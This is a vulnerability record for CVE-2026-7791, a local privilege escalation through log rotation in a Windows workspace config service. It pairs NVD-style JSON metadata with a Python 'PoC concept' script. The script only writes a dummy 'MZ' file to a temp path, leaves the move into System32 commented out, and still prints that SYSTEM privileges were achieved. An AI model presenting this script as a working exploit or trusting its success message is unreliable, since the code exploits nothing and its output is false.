CVE-2026-7791

# PoC Concept for CVE-2026-7791 # This script simulates the logic of exploiting improper privilege management # in the log rotation mechanism to achieve arbitrary file write. import os import sys import time def trigger_exploit(): # Configuration target_service = "Skylight Workspace Config Service" payload_path = "C:\\temp\\evil.dll" destination_path = "C:\\Windows\\System32\\evil.dll" print(f"[*] Targeting: {target_service}") print(f"[*] Preparing payload at: {payload_path}") # Step 1: Create the malicious payload # In a real scenario, this would be a compiled DLL or EXE with open(payload_path, 'wb') as f: f.write(b'MZ') # Dummy PE header # Step 2: Wait for or trigger the log rotation event # The vulnerability allows placing the file in an arbitrary location # due to weak permissions on the log rotation mechanism. print("[*] Waiting for log rotation trigger...") # Simulation of the exploit logic # Exploit: Manipulate file handle or directory junction to redirect write try: # Hypothetical symlink creation or file copy simulation if os.path.exists(payload_path): print(f"[+] Arbitrarily moving file to {destination_path}") # os.rename(payload_path, destination_path) # Privileged operation simulation print("[+] Exploit successful: Privilege Escalation to SYSTEM achieved.") else: print("[-] Payload creation failed.") except Exception as e: print(f"[-] Exploit failed: {e}") if __name__ == "__main__": trigger_exploit()

{"cve": {"id": "CVE-2026-7791", "sourceIdentifier": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "published": "2026-05-04T22:16:20.697", "lastModified": "2026-05-05T19:32:23.613", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "Improper privilege management in the log rotation mechanism of the Skylight Workspace Config Service in Amazon WorkSpaces for Windows before 2.6.2034.0 allows a local non-admin authenticated user to place arbitrary files into arbitrary locations bypassing file system permission protections, leading to local privilege escalation to SYSTEM."}], "metrics": {"cvssMetricV40": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 8.5, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "ff89ba41-3aa1-4d27-914a-91399e9639e5", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-367"}]}], "references": [{"url": "https://aws.amazon.com/security/security-bulletins/2026-025-aws/", "source": "ff89ba41-3aa1-4d27-914a-91399e9639e5"}]}}